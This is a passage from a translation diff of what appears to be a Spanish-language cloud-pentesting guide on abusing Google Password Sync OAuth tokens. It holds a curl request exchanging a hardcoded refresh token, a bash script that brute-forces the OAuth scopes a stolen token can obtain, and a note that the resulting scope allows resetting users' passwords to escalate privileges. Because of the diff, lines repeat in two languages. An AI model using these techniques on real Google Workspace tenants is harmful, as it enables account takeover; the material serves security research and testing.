--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Alcances
### GPS - Scopes
> [!NOTE]
> Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los **alcances admitidos por la aplicación donde está generando el token de acceso**.
@@ -148,7 +148,7 @@ Por defecto, GPS no tendrá acceso como el usuario a todos los posibles alcances
<details>
<summary>Script Bash para fuerza bruta de alcances</summary>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -172,11 +172,11 @@ rm /tmp/valid_scopes.txt
```
</details>
Y esta es la salida que obtuve en el momento de la redacción:
Y esta es la salida que obtuve en el momento de la escritura:
```
https://www.googleapis.com/auth/admin.directory.user
```
El mismo que obtienes si no indicas ningún alcance.
¿Cuál es el mismo que obtienes si no indicas ningún alcance?
> [!CAUTION]
> Con este alcance podrías **modificar la contraseña de un usuario existente para escalar privilegios**.